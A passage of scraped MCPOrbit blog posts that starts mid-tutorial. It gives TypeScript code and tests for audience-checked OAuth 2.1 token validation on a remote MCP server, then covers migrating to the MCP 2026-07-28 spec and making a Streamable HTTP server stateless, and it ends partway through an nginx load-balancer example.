"mcp:tools", }; ``` ### src/auth.ts: the guard you own This is the only auth code you actually own on a remote MCP server. It does two things. First, it serves the RFC 9728 Protected Resource Metadata document that names your authorization server and scopes. Second, its `requireAuth` middleware verifies each bearer token with `jose`, checking issuer and, critically, `audience: config.resource`, so a token minted for any other resource fails the check. When a token is missing or wrong, it returns a 401 with a `WWW-Authenticate: Bearer resource_metadata="..."` header that points the client at the discovery document. ```typescript // The OAuth 2.1 resource-server guard. This is the code you actually own on a // remote MCP server: reject unauthenticated requests with a discoverable 401, // and validate every token's signature, issuer, expiry, AND audience. // // The audience check (RFC 8707) is the one everyone skips. Without it, any valid // token from the same authorization server works against your server, the // confused-deputy hole. With it, a token minted for another resource is rejected. import { createRemoteJWKSet, jwtVerify, errors as joseErrors } from "jose"; import type { Request, Response, NextFunction } from "express"; import { config } from "./config.js"; // Path of this resource server's Protected Resource Metadata document (RFC 9728). export const PRM_PATH = "/.well-known/oauth-protected-resource"; /** RFC 9728 Protected Resource Metadata, how clients discover the AS + scopes. */ export function protectedResourceMetadata() { return { resource: config.resource, authorization_servers: [config.issuer], scopes_supported: [config.scope], bearer_methods_supported: ["header"], }; } // Verify signatures against the authorization server's published JWKS. // (The dev issuer serves this at /jwks; a real IdP serves it from its metadata.) const JWKS = createRemoteJWKSet(new URL(`${config.issuer}/jwks`)); function challenge(res: Response, error?: string, description?: string) { // The WWW-Authenticate header points clients at our PRM document. This is the // discovery entry point: a spec-compliant client reads it and starts the flow. const prmUrl = `${config.issuer}${PRM_PATH}`; const parts = [ `Bearer resource_metadata="${prmUrl}"`, ]; if (error) parts.push(`error="${error}"`); if (description) parts.push(`error_description="${description}"`); res.setHeader("WWW-Authenticate", parts.join(", ")); res.status(401).json({ error: error ?? "unauthorized", error_description: description }); } /** Express middleware: enforce a valid, audience-bound bearer token. */ export async function requireAuth(req: Request, res: Response, next: NextFunction) { const header = req.headers.authorization; if (!header || !header.toLowerCase().startsWith("bearer ")) { return challenge(res, "invalid_request", "missing bearer token"); } const token = header.slice(7).trim(); try { await jwtVerify(token, JWKS, { issuer: config.issuer, audience: config.resource, // <-- RFC 8707: token MUST be bound to us }); return next(); } catch (err) { if (err instanceof joseErrors.JWTClaimValidationFailed && err.claim === "aud") { // Signed and unexpired, but minted for a DIFFERENT resource. Reject it. return challenge(res, "invalid_token", "token audience does not match this server"); } if (err instanceof joseErrors.JWTExpired) { return challenge(res, "invalid_token", "token expired"); } return challenge(res, "invalid_token", "token validation failed"); } } ``` ### src/issuer.ts: the dev-only authorization server This exists only so the tutorial runs end to end in one command. In production you delete this file and point `OAUTH_ISSUER` at your real IdP; your resource server verifies against that IdP's published keys unchanged. The dev issuer does the minimum: hold an RSA keypair, expose JWKS so the resource server can verify signatures with real crypto, and mint audience-bound tokens. ```typescript // A tiny dev-only OAuth 2.1 authorization server. // // IMPORTANT: this exists ONLY so the tutorial runs end-to-end in one command. // In production you DELETE this file and delegate to a real IdP (Auth0, Okta, // Keycloak, WorkOS, Entra). Your MCP server never needs to be an auth server - // it only validates the tokens a real IdP issues. See the production note below. // // This dev issuer does the minimum to exercise the resource server: // - holds an RSA keypair // - exposes JWKS so the resource server can verify signatures (real crypto) // - mints audience-bound access tokens (RFC 8707: `aud` = the requested `resource`) import { generateKeyPair, exportJWK, SignJWT, type JWK } from "jose"; const KID = "dev-key-1"; const ALG = "RS256"; let privateKey: CryptoKey; let publicJwk: JWK; let ready: Promise | null = null; async function init(): Promise { if (ready) return ready; ready = (async () => { const { privateKey: priv, publicKey: pub } = await generateKeyPair(ALG); privateKey = priv; publicJwk = { ...(await exportJWK(pub)), kid: KID, alg: ALG, use: "sig" }; })(); return ready; } /** JWKS document the resource server fetches to verify token signatures. */ export async function jwks(): Promise<{ keys: JWK[] }> { await init(); return { keys: [publicJwk] }; } /** * Mint an access token. `resource` becomes the token audience (RFC 8707). * A token whose `resource` differs from the MCP server's canonical URI will be * rejected by the resource server, that is the whole point of the audience check. */ export async function mintToken(opts: { issuer: string; resource: string; subject?: string; scope?: string; expiresInSeconds?: number; }): Promise { await init(); const now = Math.floor(Date.now() / 1000); return new SignJWT({ scope: opts.scope ?? "mcp:tools" }) .setProtectedHeader({ alg: ALG, kid: KID }) .setIssuer(opts.issuer) .setSubject(opts.subject ?? "dev-user") .setAudience(opts.resource) // <-- RFC 8707 audience binding .setIssuedAt(now) .setExpirationTime(now + (opts.expiresInSeconds ?? 300)) .sign(privateKey); } ``` ### src/server.ts: the remote MCP server The Streamable HTTP MCP server. Two public discovery routes (the PRM document and, for the demo only, the dev issuer's `/jwks`), and the `/mcp` endpoint guarded by `requireAuth`. It exposes one trivial `whoami` tool so `tools/list` and `tools/call` have something to return. ```typescript // The remote MCP server, over Streamable HTTP, behind an OAuth 2.1 resource-server guard. // // GET /.well-known/oauth-protected-resource -> RFC 9728 discovery doc (public) // GET /jwks -> dev issuer's keys (a real IdP serves its own) // POST /mcp -> the MCP endpoint, requireAuth-guarded // GET|DELETE /mcp -> session stream / teardown, also guarded // // The only auth code you own in production is src/auth.ts. Everything under /jwks // and src/issuer.ts is the local dev stand-in for your real IdP. import { randomUUID } from "node:crypto"; import express, { type Request, type Response } from "express"; import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js"; import { z } from "zod"; import { config } from "./config.js"; import { PRM_PATH, protectedResourceMetadata, requireAuth } from "./auth.js"; import { jwks } from "./issuer.js"; function buildMcpServer(): McpServer { const server = new McpServer({ name: "mcp-remote-auth-example", version: "1.0.0" }); // One trivial protected tool so `tools/list` and `tools/call` have something to return. server.tool( "whoami", "Returns a fixed identity string, proving the authenticated call reached the tool.", { note: z.string().optional().describe("optional echo note") }, async ({ note }) => ({ content: [ { type: "text", text: `authenticated MCP call ok${note ? `, note: ${note}` : ""}`, }, ], }), ); return server; } export function createApp() { const app = express(); app.use(express.json()); // --- Public discovery endpoints --- app.get(PRM_PATH, (_req, res) => { res.json(protectedResourceMetadata()); }); app.get("/jwks", async (_req, res) => { res.json(await jwks()); }); // --- Guarded MCP endpoint (stateful Streamable HTTP sessions) --- const transports: Record = {}; app.post("/mcp", requireAuth, async (req: Request, res: Response) => { const sessionId = req.headers["mcp-session-id"] as string | undefined; let transport = sessionId ? transports[sessionId] : undefined; if (!transport && isInitializeRequest(req.body)) { transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (sid) => { transports[sid] = transport!; }, }); transport.onclose = () => { if (transport!.sessionId) delete transports[transport!.sessionId]; }; await buildMcpServer().connect(transport); } else if (!transport) { res.status(400).json({ jsonrpc: "2.0", error: { code: -32000, message: "No valid session; send an initialize request first." }, id: null, }); return; } await transport.handleRequest(req, res, req.body); }); const sessionStream = async (req: Request, res: Response) => { const sessionId = req.headers["mcp-session-id"] as string | undefined; const transport = sessionId ? transports[sessionId] : undefined; if (!transport) { res.status(400).send("Invalid or missing session id"); return; } await transport.handleRequest(req, res); }; app.get("/mcp", requireAuth, sessionStream); app.delete("/mcp", requireAuth, sessionStream); return app; } export function startServer(port = config.port) { const app = createApp(); return new Promise((resolve) => { const httpServer = app.listen(port, () => resolve(httpServer)); }); } // Run directly: `npm run dev` / `npm start` if (import.meta.url === `file://${process.argv[1]}`) { startServer().then(() => { console.log(`MCP resource server listening on ${config.resource}`); console.log(`PRM: ${config.issuer}${PRM_PATH}`); }); } ``` ### src/verify.ts: the one-command wire trace This is what `npm run demo` runs. It boots the server, then walks the four wire behaviors and prints the real request and response for each. ```typescript // One-command end-to-end proof (`npm run demo`). // Boots the server, then walks the four wire behaviors the tutorial claims, // printing the real request/response for each so you can see the auth layer work. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; import { startServer } from "./server.js"; import { mintToken } from "./issuer.js"; import { config } from "./config.js"; import { PRM_PATH } from "./auth.js"; const line = (s = "") => console.log(s); const rule = (n: number, title: string) => line(`\n=== ${n}. ${title} ===`); async function main() { const server = await startServer(); line(`# server up at ${config.resource}\n`); const MCP_JSON = { "Content-Type": "application/json", Accept: "application/json, text/event-stream" }; const initBody = { jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: "2025-06-18", capabilities: {}, clientInfo: { name: "wire-trace", version: "1.0.0" }, }, }; // 1. Unauthenticated request -> 401 + WWW-Authenticate pointing at the PRM doc. rule(1, "Unauthenticated tools/list -> 401 + WWW-Authenticate"); { const r = await fetch(config.resource, { method: "POST", headers: MCP_JSON, body: JSON.stringify(initBody) }); line(`> POST /mcp (no Authorization header)`); line(`< HTTP ${r.status}`); line(`< WWW-Authenticate: ${r.headers.get("www-authenticate")}`); line(`< body: ${await r.text()}`); } // 2. The client discovers the AS from the PRM document (RFC 9728). rule(2, "GET /.well-known/oauth-protected-resource -> RFC 9728 metadata"); { const r = await fetch(`${config.issuer}${PRM_PATH}`); line(`> GET ${PRM_PATH}`); line(`< HTTP ${r.status}`); line(`< body: ${JSON.stringify(await r.json(), null, 2)}`); } // 3. A correctly audience-bound token (RFC 8707) authenticates and reaches the tools. rule(3, "Authorization Code + PKCE would mint this token; here the dev issuer mints it"); const goodToken = await mintToken({ issuer: config.issuer, resource: config.resource }); line(`> minted token with aud = ${config.resource} (matches this server)`); { const transport = new StreamableHTTPClientTransport(new URL(config.resource), { requestInit: { headers: { Authorization: `Bearer ${goodToken}` } }, }); const client = new Client({ name: "wire-trace", version: "1.0.0" }); await client.connect(transport); line(`< initialize + session established (HTTP 200)`); const tools = await client.listTools(); line(`< tools/list -> [${tools.tools.map((t) => t.name).join(", ")}]`); const call = await client.callTool({ name: "whoami", arguments: { note: "audience ok" } }); const text = (call.content as Array<{ type: string; text?: string }>)[0]?.text; line(`< tools/call whoami -> "${text}"`); await client.close(); } // 4. A token minted for a DIFFERENT resource is rejected (the RFC 8707 audience check). rule(4, "Wrong-audience token -> 401 invalid_token (the money shot)"); const wrongToken = await mintToken({ issuer: config.issuer, resource: "https://some-other-mcp.example/mcp" }); { const r = await fetch(config.resource, { method: "POST", headers: { ...MCP_JSON, Authorization: `Bearer ${wrongToken}` }, body: JSON.stringify(initBody), }); line(`> POST /mcp Authorization: Bearer `); line(`< HTTP ${r.status}`); line(`< WWW-Authenticate: ${r.headers.get("www-authenticate")}`); line(`< body: ${await r.text()}`); } line(`\n# all four behaviors verified`); server.close(); } main().then( () => process.exit(0), (err) => { console.error(err); process.exit(1); }, ); ``` ### src/auth.test.ts: the guard tests Six tests covering the four behaviors plus expired and malformed tokens. Run them with `npm test`. If any guard breaks, the suite fails. ```typescript // Guard tests for the four wire behaviors. Run with `npm test`. import { test, before, after } from "node:test"; import assert from "node:assert/strict"; import type { Server } from "node:http"; import { startServer } from "./server.js"; import { mintToken } from "./issuer.js"; import { config } from "./config.js"; import { PRM_PATH } from "./auth.js"; const MCP_JSON = { "Content-Type": "application/json", Accept: "application/json, text/event-stream", }; const initBody = JSON.stringify({ jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: "2025-06-18", capabilities: {}, clientInfo: { name: "t", version: "1" } }, }); let server: Server; before(async () => { server = await startServer(); }); after(() => server.close()); test("unauthenticated request is rejected with 401 + WWW-Authenticate -> PRM", async () => { const r = await fetch(config.resource, { method: "POST", headers: MCP_JSON, body: initBody }); assert.equal(r.status, 401); const wa = r.headers.get("www-authenticate") ?? ""; assert.match(wa, /^Bearer /); assert.ok(wa.includes(`resource_metadata="${config.issuer}${PRM_PATH}"`), "points at PRM doc"); }); test("PRM document is a valid RFC 9728 shape", async () => { const r = await fetch(`${config.issuer}${PRM_PATH}`); assert.equal(r.status, 200); const doc = (await r.json()) as Record; assert.equal(doc.resource, config.resource); assert.deepEqual(doc.authorization_servers, [config.issuer]); assert.ok(Array.isArray(doc.scopes_supported)); }); test("a correctly audience-bound token is accepted", async () => { const token = await mintToken({ issuer: config.issuer, resource: config.resource }); const r = await fetch(config.resource, { method: "POST", headers: { ...MCP_JSON, Authorization: `Bearer ${token}` }, body: initBody, }); assert.equal(r.status, 200); }); test("a wrong-audience token is rejected with invalid_token (RFC 8707)", async () => { const token = await mintToken({ issuer: config.issuer, resource: "https://other.example/mcp" }); const r = await fetch(config.resource, { method: "POST", headers: { ...MCP_JSON, Authorization: `Bearer ${token}` }, body: initBody, }); assert.equal(r.status, 401); assert.match(r.headers.get("www-authenticate") ?? "", /error="invalid_token"/); }); test("an expired token is rejected", async () => { const token = await mintToken({ issuer: config.issuer, resource: config.resource, expiresInSeconds: -10 }); const r = await fetch(config.resource, { method: "POST", headers: { ...MCP_JSON, Authorization: `Bearer ${token}` }, body: initBody, }); assert.equal(r.status, 401); }); test("a malformed bearer token is rejected", async () => { const r = await fetch(config.resource, { method: "POST", headers: { ...MCP_JSON, Authorization: "Bearer not-a-jwt" }, body: initBody, }); assert.equal(r.status, 401); }); ``` ## Run it One install, one command. The demo boots the server and the local dev authorization server together, so there is nothing external to configure. ```bash npm install npm run demo # and the guard tests npm test ``` In production you delete `src/issuer.ts` and the `/jwks` route, set `OAUTH_ISSUER` to your IdP's issuer URL and `MCP_RESOURCE` to your server's public canonical URI, and `src/auth.ts` verifies against your IdP's published keys unchanged. Your IdP already runs the login page, the token endpoint, and the JWKS. You only verify and audience-check. ## Prove it works: the wire trace `npm run demo` boots the server and walks the four behaviors, printing the real request and response for each. This is the actual captured output, not a mock-up. First, an unauthenticated call is refused with a 401 whose `WWW-Authenticate` header points at the metadata document, the client's entry point into discovery: ```text > POST /mcp (no Authorization header) < HTTP 401 < WWW-Authenticate: Bearer resource_metadata="http://localhost:8080/.well-known/oauth-protected-resource", error="invalid_request", error_description="missing bearer token" ``` The client follows that URL and reads the RFC 9728 document, which tells it exactly which authorization server to use and which scope to request: ```json > GET /.well-known/oauth-protected-resource < HTTP 200 { "resource": "http://localhost:8080/mcp", "authorization_servers": ["http://localhost:8080"], "scopes_supported": ["mcp:tools"], "bearer_methods_supported": ["header"] } ``` After the Authorization Code + PKCE exchange, the client holds a token whose audience is this server's canonical URI. It authenticates, initializes a session, lists tools, and calls one: ```text > minted token with aud = http://localhost:8080/mcp (matches this server) < initialize + session established (HTTP 200) < tools/list -> [whoami] < tools/call whoami -> "authenticated MCP call ok, note: audience ok" ``` Now the one that matters. Take a token that is perfectly valid, correctly signed by the same authorization server and unexpired, but minted for a different resource. The audience check (RFC 8707) rejects it: ```text > POST /mcp Authorization: Bearer < HTTP 401 < WWW-Authenticate: Bearer resource_metadata="http://localhost:8080/.well-known/oauth-protected-resource", error="invalid_token", error_description="token audience does not match this server" ``` That last rejection is the whole point. Without the audience check, any valid token from the same authorization server would work against your server, the confused-deputy hole. The six guard tests (`npm test`) cover these behaviors plus expired and malformed tokens; if any break, the suite fails. --- ## Common mistakes - Building your own authorization server. The spec doesn't ask for this and you almost certainly shouldn't. Delegate to an IdP; be a resource server. - Skipping the audience check (the confused-deputy hole). Validating that a token is signed and unexpired but not that it was issued for you means any valid token from the same authorization server works against your server. Enforce the RFC 8707 resource and audience match. - Treating PRM as optional. Without /.well-known/oauth-protected-resource, clients can't discover your authorization server, so the zero-config connect flow breaks and users get cryptic failures instead of a login prompt. - Adding auth to a local stdio server. Local stdio transports aren't remote and aren't in scope. Don't bolt OAuth onto a server that only ever runs on the user's own machine: friction for zero security gain. - Hardcoding the authorization server instead of publishing discovery. Pinning one IdP in client config works until it doesn't; discovery via PRM keeps you interoperable as clients and issuers change. ## Frequently asked questions ### Do I need to run my own OAuth server for MCP? No. Your MCP server is a resource server: it validates tokens issued by an authorization server you already trust (Auth0, Okta, Keycloak, WorkOS, Entra, and so on). You never issue tokens or manage identity yourself. ### What is the resource parameter for? It audience-binds the token to your specific server (RFC 8707). The client sends `resource=` when requesting the token, and you reject any token whose audience isn't you. It is the control that stops a token minted for another server from being replayed against yours, the confused-deputy defense. ### Does a local (stdio) MCP server need OAuth? No. The authorization requirements apply to remote and HTTP transports. A server that runs locally over stdio on the user's own machine is out of scope. ### What actually breaks on July 28 if I skip it? Remote MCP servers that don't implement the authorization spec fall out of compliance, and spec-compliant clients are entitled to refuse to connect to a remote server that can't complete the discovery and token flow. Local stdio servers are unaffected. ### Can I reuse my existing IdP? Yes, that is the intended path. If your IdP supports OAuth 2.1 (Authorization Code + PKCE) and can mint audience-bound tokens with a resource or audience claim, you point your PRM document at it and you're most of the way there. ### Do server-to-server clients need PKCE? OAuth 2.1 standardizes on Authorization Code + PKCE for interactive clients. Non-interactive service-to-service callers typically use the Client Credentials flow instead, but they still must present audience-bound tokens your server validates the same way. Once your server validates audience-bound tokens, [connect it in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call the tools yourself. You see the real 401 a client gets, and you see which calls the token is actually allowed to make. [Download MCPOrbit for macOS](/api/download) --- # Does Your MCP Server Need to Migrate Before July 28? URL: https://mcporbit.com/blog/do-you-need-to-migrate-mcp-server-july-28 Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-21 Updated: 2026-09-04 Category: Field notes Tags: MCP, Migration, Stateless, Protocol, 2026-07-28 Spec The MCP 2026-07-28 spec is the protocol's biggest revision, but backward compatibility means most servers don't have to migrate on day one. Here's how to tell which camp you're in. Short answer: almost certainly not on July 28 itself. The MCP `2026-07-28` specification removes the `initialize`/`initialized` handshake (SEP-2575) and the `Mcp-Session-Id` session header (SEP-2567), but v2 servers keep answering the legacy `2025-11-25` handshake, so existing clients keep connecting. The servers that must act first are remote HTTP servers that depend on sticky sessions or a shared session store. This is the largest revision of the Model Context Protocol (MCP) since launch. The spec goes final on 2026-07-28, beta SDKs are already out (`@modelcontextprotocol/server@2.0.0-beta.1` and `@modelcontextprotocol/client@2.0.0-beta.1` on npm; `mcp==2.0.0b1` on PyPI), and stable v2 is targeted for 2026-07-27. That window is creating urgency that, in most cases, isn't warranted. Whether you need to move now depends on one question: does your server depend on session affinity? **Migration decision at a glance** - Nothing force-breaks on 2026-07-28: v2 servers accept the legacy 2025-11-25 handshake alongside the new protocol. - Migrate first if: your server is remote/HTTP and relies on `Mcp-Session-Id`, sticky sessions, or a shared session store. - No rush if: your server runs over local `stdio`, or is already stateless behind a plain load balancer. - Do this now regardless: install the v2 beta SDK and run your test suite against it before stable lands. - If you use the experimental Tasks feature: migrate to the Tasks extension (blocking `tasks/result` moves to a poll-based create/query/cancel pattern). ## What actually changes on 2026-07-28 The stateless core is the headline change. The `initialize`/`initialized` handshake is removed (SEP-2575): protocol version, client info, and capabilities that previously traveled once at connection time now travel in `_meta` on every request. The `Mcp-Session-Id` header and the protocol-level session are gone (SEP-2567); a new `server/discover` method lets clients fetch server capabilities up front when they need them. Beyond statelessness, three things become first-class: the Tasks extension (standardised long-running operations with create/query/cancel and immediate task-id responses), MCP Apps (a packaging standard for server-rendered UIs), and authorization hardening with token scopes. The Enterprise-Managed Authorization (EMA) extension is now stable and has been adopted by Anthropic, Microsoft, and Okta. A formal deprecation policy lands too, so the protocol can evolve without breaking what you've shipped. ## Which servers must migrate, and which can wait The distinction comes down to transport and session architecture. - Remote server using `Mcp-Session-Id` or sticky sessions: plan the migration. This is exactly what the spec removes. Your load-balancer config changes, your gateway routing changes, and you need to read `_meta` instead of relying on connection state. - Remote server already stateless behind a round-robin load balancer: low-effort upgrade. Adopt `server/discover`, read `_meta`, attach `ttlMs` and `cacheScope` to your list and read results, and route on `Mcp-Method`/`Mcp-Name` headers instead of session affinity. - Local `stdio` server: no urgency. Nothing about your transport changes on day one. Migrate on your own schedule after stable v2 ships. - Using experimental Tasks: move to the Tasks extension. The blocking `tasks/result` pattern moves to polling: create task, get task-id back immediately, query status, cancel if needed. - Running a gateway or proxy: route on `Mcp-Method` and `Mcp-Name` headers instead of session affinity. Update your gateway config before July 28 if you have remote servers behind it. > **Who this touches** > > The servers this change touches hardest are the ones exposed over remote HTTP with session affinity. Session state and thin auth tend to travel together, because a long-lived session hides a lot of the work a token should be doing. The 07-28 auth hardening and the stateless move both push in the right direction. ## Why nothing breaks on day one Backward compatibility is explicit in the spec: a v2 server continues to accept legacy `2025-11-25` handshake requests. Clients on the old protocol keep connecting and can upgrade independently. This means the ecosystem migrates gradually: your server can ship v2 support while existing clients stay on v1, and vice versa. The protocol version a client speaks is now in `_meta`, so a v2 server can detect and serve both. ## What migrating actually involves When you do migrate a remote HTTP server, the mechanical steps are: read protocol version and capabilities from `_meta` instead of the handshake; implement `server/discover` (the new capability-discovery method); drop session affinity at your gateway in favor of routing on the `Mcp-Method` and `Mcp-Name` request headers; attach `ttlMs` and `cacheScope` to your list and read results so clients can cache them correctly. For the full before/after HTTP wire diff, including the exact header changes, cache semantics, and four mechanical server-side changes, see [how to make an MCP server stateless](/blog/make-an-mcp-server-stateless). ## The upgrade you should not defer: test against the beta SDK now Even if your server doesn't need to migrate urgently, the beta SDK is out and stable v2 is one week away. Run your test suite against `@modelcontextprotocol/server@2.0.0-beta.1` (npm) or `mcp==2.0.0b1` (PyPI) now. The old npm package `@modelcontextprotocol/sdk` stays on v1; the v2 beta ships as two new packages: `@modelcontextprotocol/server` and `@modelcontextprotocol/client`, both at `2.0.0-beta.1`. Python's stable v1 line is at `1.28.x`; Go and C# betas are also available. ## Frequently asked questions ### Will my MCP server stop working on July 28, 2026? No. The `2026-07-28` spec maintains backward compatibility: v2 servers keep answering the legacy `2025-11-25` handshake, so existing clients keep connecting without changes. You migrate when you choose. ### Do local stdio MCP servers need to update for the July 28 spec? Not urgently. The stateless changes target remote HTTP transport and the session model. A local `stdio` server sees no day-one break; you can migrate on your own schedule after stable v2 ships on 2026-07-27. ### What replaces the MCP initialize handshake in the 2026-07-28 spec? Per-request `_meta` carries the protocol version, client info, and capabilities on every request (SEP-2575). Clients that need capabilities up front can call the new `server/discover` method instead. ### Is the Mcp-Session-Id header removed in MCP v2? Yes, removed in SEP-2567 along with the protocol-level session. Gateways and proxies should route on the `Mcp-Method` and `Mcp-Name` request headers instead of session affinity. ### Which SDK version supports the MCP 2026-07-28 spec? The v2 betas: npm packages `@modelcontextprotocol/server` and `@modelcontextprotocol/client`, both at `2.0.0-beta.1` (new packages; the old `@modelcontextprotocol/sdk` stays on v1). PyPI: `mcp==2.0.0b1`. Go and C# betas are also available. Stable v2 is targeted for 2026-07-27. ### What is the MCP Tasks extension and does it replace the experimental Tasks feature? Yes. The Tasks extension standardises long-running operations with a three-endpoint pattern: create task (returns a task-id immediately), query status, cancel task. If you used the experimental blocking `tasks/result` pattern, migrate to the extension's poll-based approach. Do not guess whether your server is ready. [Point MCPOrbit at it](/blog/add-an-mcp-server-to-mcporbit) and read the tool list it actually serves. Run the same check after you migrate, and compare the two yourself to see what moved. [Download MCPOrbit for macOS](/api/download) --- # How to make an MCP server stateless (2026-07-28 spec) URL: https://mcporbit.com/blog/make-an-mcp-server-stateless Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-21 Updated: 2026-09-04 Category: Build-it Tags: MCP, Streamable HTTP, Stateless, Postgres, Build-it Make an MCP server stateless for the 2026-07-28 spec by setting the Streamable HTTP transport's sessionIdGenerator to undefined: drop sticky sessions, keep your tools. To make an MCP server stateless for the 2026-07-28 spec, stop issuing session IDs: set the Streamable HTTP transport's `sessionIdGenerator` to `undefined` and build a fresh server plus transport for each request. That is the whole migration. With no session to pin, any replica can serve any request behind a plain round-robin load balancer, with no sticky sessions and no shared session store, and your tools and resources do not change at all. The 2026-07-28 revision of the Model Context Protocol (MCP) makes a stateless protocol core the default for remote servers. The stateful Streamable HTTP transport most remote servers shipped with mints a per-client `Mcp-Session-Id` and keeps that session's transport in the process's memory, which forces every follow-up request onto the same instance: the operational tax we call sticky sessions. Statelessness removes that constraint. We took the read-only Postgres MCP server from our earlier build-it tutorial and migrated it; below is the real diff, the tested request/response behaviour, and a two-replica load balancer you can run. **What this migration changes** - One line does the work: `sessionIdGenerator: () => randomUUID()` becomes `sessionIdGenerator: undefined`. - Statelessness is a transport concern: the `query` / `list_tables` / `describe_table` tools and the schema resources are byte-for-byte unchanged. - A stateless server issues no `Mcp-Session-Id` and answers every request self-contained, so a plain round-robin load balancer works with no affinity config. - The trade-off: you give up server-side resumability (the SSE event store) and per-session in-memory state; carry auth in the token, not the session. - Pinned and tested: @modelcontextprotocol/sdk@1.29.0, pg@8.22.0, zod@3.25.76, TypeScript 5.9, Node 20. ## What changed in the 2026-07-28 MCP spec? The 2026-07-28 revision (release candidate at the time of writing, with beta SDKs shipped) lands four practitioner-facing changes. First, a stateless protocol core: remote servers should not require a sticky session or a shared session store to be correct. Second, authorization hardening aligned with OAuth 2.1 / OIDC, so each request presents and independently validates its own token, which is exactly what makes statelessness safe, because the auth state lives in the token, not in server memory. Third, routable headers and explicit multi-round-trip handling so intermediaries and load balancers can forward requests without understanding MCP internals. Fourth, a formal deprecation policy so protocol changes arrive on a predictable schedule. You do not need a brand-new SDK to get the mechanism: the stateless Streamable HTTP transport already exists in `@modelcontextprotocol/sdk@1.29.0`, the version this post pins and tests against. The 2026-07-28 spec makes stateless the recommended default; the code below is how you adopt it today. Pin whichever beta SDK your fleet standardises on and keep the version in your `package.json`. ## The stateful server you are migrating from Here is the "before": a Streamable HTTP server that mints a session ID on `initialize` and stashes the live transport in a module-level `Map`. Every later request must carry that session ID and land on this exact process, because the transport for the session exists only in this instance's memory. Behind more than one replica, that is what forces sticky sessions. ```typescript // http-stateful.ts: the "before". Needs sticky sessions behind a load balancer. import { randomUUID } from "node:crypto"; import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js"; import { buildServer } from "./server-core.js"; // your tools + resources, unchanged const transports = new Map(); async function handleMcp(req, res, body) { const sessionId = req.headers["mcp-session-id"] as string | undefined; if (sessionId && transports.has(sessionId)) { // Only works if this request is routed back to the instance that owns the session. await transports.get(sessionId)!.handleRequest(req, res, body); return; } if (!sessionId && isInitializeRequest(body)) { const transport: StreamableHTTPServerTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), // issues Mcp-Session-Id onsessioninitialized: (id) => { transports.set(id, transport); }, // in-memory state }); const server = buildServer(); await server.connect(transport); await transport.handleRequest(req, res, body); return; } res.writeHead(400).end(JSON.stringify({ jsonrpc: "2.0", id: null, error: { code: -32000, message: "No valid session ID for a non-initialize request" }, })); } ``` ## The one change that makes an MCP server stateless Setting `sessionIdGenerator` to `undefined` puts the transport in stateless mode: it issues no session ID and performs no session validation. Instead of a session map, you build a fresh `McpServer` and transport per request and tear them down when the response ends, so nothing is retained between requests. That is the entire diff. ```diff - const transport = new StreamableHTTPServerTransport({ - sessionIdGenerator: () => randomUUID(), // issues Mcp-Session-Id, needs a session map - onsessioninitialized: (id) => transports.set(id, transport), - }); + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, // stateless: no session id, no validation + enableJsonResponse: true, + }); ``` ```typescript // http-stateless.ts: the "after". Safe to run as N identical replicas. import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; import { buildServer } from "./server-core.js"; // same tools + resources as before async function handleMcp(req, res, body) { const server = buildServer(); const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // <- the whole migration enableJsonResponse: true, }); // Nothing survives the request. Close both when the client disconnects. res.on("close", () => { transport.close(); server.close(); }); await server.connect(transport); await transport.handleRequest(req, res, body); } ``` > **The part that surprises people** > > `server-core.ts`, the file that registers your tools and resources, does not change one character. Statelessness is a transport and deployment decision, not a rewrite of your server's logic. If you built the read-only Postgres MCP server from our earlier tutorial, you reuse that core verbatim. ## Why statelessness lets you drop sticky sessions The difference is observable on the wire. The stateful server returns an `Mcp-Session-Id` on `initialize` and rejects any later call that does not carry it, which is precisely the request a round-robin load balancer would drop onto a different replica: ```bash # STATEFUL: initialize mints a session id you must echo on every later request $ curl -sD- http://localhost:3000/mcp \ -H 'content-type: application/json' -H 'accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{ "protocolVersion":"2025-06-18","capabilities":{}, "clientInfo":{"name":"probe","version":"1"}}}' HTTP/1.1 200 OK mcp-session-id: 19746205-910f-4396-b456-0aff6818b7c7 # <- every later request must carry this # tools/list WITHOUT that session id (i.e. routed to another replica) is refused $ curl -s http://localhost:3000/mcp -H 'content-type: application/json' \ -H 'accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' {"jsonrpc":"2.0","id":null, "error":{"code":-32000,"message":"No valid session ID for a non-initialize request"}} ``` The stateless server issues no session ID, and a fresh replica answers `tools/list` with no prior `initialize`. Because every request is self-contained, it does not matter which replica the load balancer picks: ```bash # STATELESS: no session id header at all $ curl -sD- http://localhost:3000/mcp \ -H 'content-type: application/json' -H 'accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{ ...same as above... }}' HTTP/1.1 200 OK content-type: application/json # (no mcp-session-id line) # a fresh replica answers tools/list with no prior initialize -> round-robin just works $ curl -s http://localhost:3000/mcp -H 'content-type: application/json' \ -H 'accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' {"jsonrpc":"2.0","id":2,"result":{"tools":[ {"name":"query", ...}, {"name":"list_tables", ...}, {"name":"describe_table", ...}]}} ``` ## Run N replicas behind a plain load balancer Once the server is stateless you can put identical replicas behind an ordinary load balancer. Note what is absent from this nginx config: no `ip_hash`, no sticky cookie, no session affinity. That absence is the payoff. ```nginx # nginx.lb.conf: plain round-robin. No ip_hash, no sticky cookie, no affinity. events {} 